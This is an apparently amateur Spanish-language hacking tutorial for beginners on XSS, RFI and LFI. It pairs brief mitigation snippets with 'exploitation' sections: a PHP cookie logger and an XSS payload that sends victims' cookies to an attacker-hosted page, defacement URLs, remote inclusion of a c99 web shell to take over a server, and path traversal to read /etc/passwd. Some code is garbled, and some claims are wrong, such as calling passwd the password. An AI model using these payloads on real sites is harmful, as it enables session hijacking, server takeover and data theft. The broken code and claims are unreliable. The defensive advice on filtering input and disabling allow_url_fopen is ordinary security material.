Los Viejos
Que
Todavía se ven

By Zero Bits [Zero_Bits@GobiernoFederal.com] – [Zero-Bits.BloGspoT.com]

Venezuela [R00t] Team

Www.SysTeM-BlaCk.CoM

0. Introduccion

Quienes serán esos viejos?, pues los métodos antiguos como RFI, LFI y XSS. La gente dice a los novatos que no aprendan estos métodos ya que no son muy vistos en los Servidores, pero se les a ocurrido buscar en los directorios o probarlo ahí mismo.

Este tuto lo recomiendo para Newbies, pero no para hacer mal, si no reportar fallos, ya que es lo que yo hago ahora. NO DIGO QUE LO HAGAN POR QUE YO LO HAGO, si no que lo hagan para que sean mas eticos.

1. XSS (Cross Site Scripting)

Antes de leer, te recomiendo que aprendas JavaScript y HTML, ya que esta vulnerabilidad va mas que todo por JavaScript.

¿Qué es XSS?

Cross Site Scripting, es una vulnerabilidad producido por los servidores que activan la escritura en HTML o también que no se filtran bien, también se producen en que no se validan bien los datos de entrada usados por aplicaciones del server, no se filtran y cualquier atacante puede poner Códigos Maliciosos en el Servidor, por lo tanto se puede filtrar codigos JavaScript, HTML, VBSCRIPT y entre otros.

El nombre XSS, como dije quiere decir Cross Site Scripting, no renombrado CSS, para que no sea confundido con el mismo CSS (CASCADE STYLE SHEET) un lenguaje web.

¿Dónde es Encontrado XSS?

Foros, Libro de Visitas, Buscadores, Links del Server, Logins, etc.. Son muy encontrados en esos lugares.

¿Cómo saber si es o soy vulnerable?

FORO: Abran un Post, y pongan de mensaje el famoso <script>alert(“xss”)</script>

Y si sale una ventana como esta:

Es vulnerable.. Me imagino que conocen que esta sentencia: “<script>alert()</script> ya que les dije que estudiaran JavaScript.

Libro de Visitas: Prueba igual que los foros, solo que escribes un mensaje

Buscadores: Igual que los foros, solo que en la parte de buscar, escriben ese código JavaScript y se ejecutara.

Links del Server: Imaginate que tienes tú Web o de la victima:

www.miweb.com/algo.php?algo=5
Y pones un código HTML o JavaScript, cualquiera sirve:

www.miweb.com/algo.php?algo=<script>alert(“xss”)</script>

y si se ejecuta es que es vulnerable.

¿Qué hacer si soy o la web victima es vulnerable?

Aquí les enseñare a quitar ese error, sirve para un webmaster o alguien etico que quiere avizar el Bug al Administrador del Sitio.

Este codigo php:

```
<?php
$sinxss = strip_tags($_REQUEST['escritura'];
echo $sinxss;
?>
```

lo que hace es que prohíba la escritura en HTML en un Libro de Visitas o foro.

Tambien xss es muy usado el robo de cookies, pero este código lo ponemos en “.htaccess”: (Sacado del tutorial de Painboy)

RewriteCond %{HTTP_COOKIE} PHPSESSID=([^;]+) [NC]
RewriteRule ^(.*)$ - [env=sessid:%1]
Header set Set-Cookie "PHPSESSID=%{sessid}e; path=/; HttpOnly" env=sessid

Y no permitira que roben cookies..

Aprovechandonos de XSS

En FOROS: Bueno si ya sabemos que es vulnerable, pasemos a ver como se aprovechan de esto.

Método 1: Pueden poner en un post códigos HTML o JavaScript, a su gusto, como SPAM, mensajes de Hackeados, etc. (no les diré por que hay que usar su inteligencia y tienen que saber esos lenguajes)

Método 2: Bueno uno que también es muy usado a la hora de Juackear la web o hacer phishing es el robo de Cookies:

Primero creense un Hosting gratuito, si ya lo tienen no es necesario y creen un archivo que se llame robacookies.php (el codigo no lo hice yo, lo hizo **CvIr.System)**

```
<?
$cookie = $_GET['cookie'];
$fff = fopen("archivo.txt","a");
fwrite($fff, "$cookie \n");
fclose($fff);
?>
```

Lo que hará este código es crear un archivo txt, que se llame “archivo.txt” donde estarán las Cookies, bueno pasemos al foro vulnerable y ponemos este código:

```
<script>self.location.href=’e); “target=” _blank”>http://www.tuweb.com/robacookies.php?c=’+scape(document.cookie);</script>
```

Esto lo que hara es redireccionar al robador de cookies...

En Libro de Visitas: Poniendo códigos a tu antojo, igual que foros pues.

En Buscadores: Bueno ahí pueden poner códigos a su antojo, solo serviria para jugar un poquito de Ingeniería Social con el admin del sitio y combinarlo con los de las cookies.

http://www.victima.com/buscador.php?=<script>self.location.href='e); "target="_blank">http://www.tuweb.com/robacookies.php?c='+scape(document.cookie);</script>

En Links del Server: Esta si es muy vista, solo poniendo codigos en el link:

http://www.victima.com/index.php?id=<h1>Hacked</h1>
http://www.victima.com/index.php?id=<h1><marquee>Hacked</marquee></h1>
http://www.victima.com/index.php?id=<script>alert("Hacked")</script>
http://www.victima.com/index.php?id=Hacked+by+tu

Se mostrara en el server, pero cuando tu te sales no esta, pero pueden usar su inteligencia y puedes que llegues a tener control del server.

Despedida

Bueno, ya vieron el famoso XSS es muy visto también, ahora pasaran a RFI.

2. RFI (Remote File Inclusión)

Remote File Inclusión en español Inclusión Remota de Archivos, es una vulnerabilidad en PHP que permite la Inclusión de Archivos en un servidor sin permiso del Administrador, esta vulnerabilidad se debe a la mala programación en el código php include()

Necesitas saber php, para ver su funcionamiento y tal vez programarte tu propia Shell

¿Que es una Shell?

Hay dos tipos de Shell, las de Defacing y la de Sistemas Operativos.

Shell de Defacing: Fueron creadas para aprovecharse de RFI, pero hoy en día son muy utilizadas para todo. Son programas en php, lo que hace es meterla en el servidor y desde ahí controlarlo como quiera.

Shell para Sistemas Operativos: No tiene nada que ver con RFI, solo que son programas como Netcat, Telnet, SSH, MS-DOS y Terminal de Linux, que se usan para controlar.

¿Cómo saber si soy o es Vulnerable?

Imaginate la web tuya o victima y estas en este link:

http://www.web.com/algo.php?page=algo

y ponemos una Pagina de Internet:

http://www.web.com/algo.php?page=http://www.google.com

y si redirecciona, ahí esta el peligro es vulnerable a RFI.

Evitando RFI

Para mejor explicación sacare esto del Tutorial de Painboy:

Empezamos:

No cometer errores en programacion:

Como hemos visto líneas antes se veía un código vulnerable a RFI ok bien pero cual es el problema de ese código pues que se incluye lo que sea y lo que haremos será usar file_exists

Pondre un codigo 100% seguro contra rfi (Remote file inclusion):

$url = intval($_GET['url']); //la variable URL solo tendra un valor entero
$archivo = “./documentos/cont”.$url.”.php”; //localizacion del archivo

if (file_exists($archivo)) include($archivo); // lo busca y si existe lo muestra

Lo que hemos echo es simplemente verificar si lo que hemos introducido esta dentro de nuestro hosting y que tenga una extension .php y si ese archivo existe pues se muestra.

Register_globals en OFF

Buenas pues mira debes abrir el archivo Php.ini y introducir la siguiente linea:

Register_globals = off

Y guardas y ya tendras Register_globals en OFF

Si tienes mas dudas sobre como ponerlo en off o sobre el archivo Php.ini mira mas arriba y te viene una explicación mas extensa y mas entendible

allow_url_fopen en OFF

Bueno pues como en register_globals es exactamente igual debes abrir el archivo Php.ini y introducir la siguiente línea:

allow_url_fopen = off

y luego guardar el archivo php.ini y subirlo.

Ya que saben como evitarlo, gracias al tutorial de Painboy
“Seguridad Web”
Email: Painboy@hotmail.com

Aprovechandonos de RFI

Primero tener nuestro hosting gratuito, busca en google:

c99.txt

Bueno te saldrán algunos código de fuente de la c99

¿Qué es c99?

Como ya saben que es una shell, esta es una gran shell y la que vamos a usar o usan para aprovecharse del bug.

Bueno ahora que saben… Agarren el código de la c99 y creen un txt, péguenlo y guárdenlo .jpg .gif o cualquier extensión, Pero que no sea PHP!

¿.php por que no?

Si la ponemos c99.php nuestro server tendría una shell dentro, por el cual muchos se aprovecharían

Bueno el link seria así:

http://www.web.com/algo.php?page=http://www.tuweb.com/c99.gif

Y tendríamos el control del Servidor.

Despedida

Como les dije, si encuentran una web vulnerable sean éticos y avisen al administrador del sitio su Bug y como taparlo.

3. LFI (Local File Inclusión)

Local File Inclusión lo que hace es buscar archivos de una web, debido tambien a la mala programación en PHP.

Evitando LFI

También lo sacare del tutorial de Painboy (Recomendado 100%)

Lfi (Local file inclusion) inclusion de archivos internos (locales) bueno eso significa que sirve para mucho no les parece para los atacantes esto es una joya ya que pueden obtener datos muy sensibles Empezamos como para que vean como evitar este ataque:

Pondremos un codigo vulnerable a lfi para que entiendan mas o menos:

```
<?php
if(!$_GET['objeto']){
 include('painboy.php');
}else{
 $_GET['objeto'] = str_replace('http://','', $_GET['objeto']);
  if(file_exists($_GET['objeto'].'.php')){
    include($_GET['objeto'].'.php');
  }
}
?>
```

Ok parece un codigo totalmente normal sin problema algún verdad pues si te das cuenta no filtra el escalar directorios! si escalamos directorios y empezamos a ver cosas que no se podrían de ver nuestra website correría mucho peligro asi que les enseñare a filtrar el escalamiento de directorios y el no incluir archivos locales para asi mostrarlos y dar información sensible al atacante.

```
<?php
$_GET['proteccion'] = str_replace(array('.','/','\\'),'',$_GET['protec
cion']);
?>
```

Ok ahora imaginen que la variable protección quiere mostrar un contenido ok?

Ok pues lo que haríamos seria usar la función de php str_replace para borrar los codigos utiles que al atacante le sirve para escalar directorios y mostrar asi archivos locales asi que ya saben usen str_replace y luego filtren lo que necesiten para evitar lo que quieran en este caso con el ejemplo que es 100% seguro filtramos lfi.

Bueno ahora que saben defenderse.. Pasemos a aprovecharnos

Aprovechándonos

Bueno imaginemos que encontramos esta web vulnerable:

http://www.web.com/index.php?file=algo

lo que haríamos es agregar ../../../../etc/passwd

../ = Seria los Directorios que pasaria hasta llegar a passwd, la mayoria son 4.

/etc/ = Es el directorio donde esta el passwd

Passwd = La contraseña

http://www.web.com/index.php?file=../../../../etc/passwd

No se mucho de LFI, pero así seria lo básico.

4. Bye Bye

Bueno espero que les haya gustado el tutorial me despido. Una cosa otra vez se los repito: *"Sean Éticos, no modifiquen ni borren nada y avisen al admin su vulnerabilidad."* Como yo pues xD

Saludos a todos mis Amigos y mi team *Venezuela [R00t] Team*

Mi comunidad bella: Www.SysTeM-BlaCk.CoM

Pasen por mi blog: Zero-Bits.BloGspoT.CoM

Hasta otra…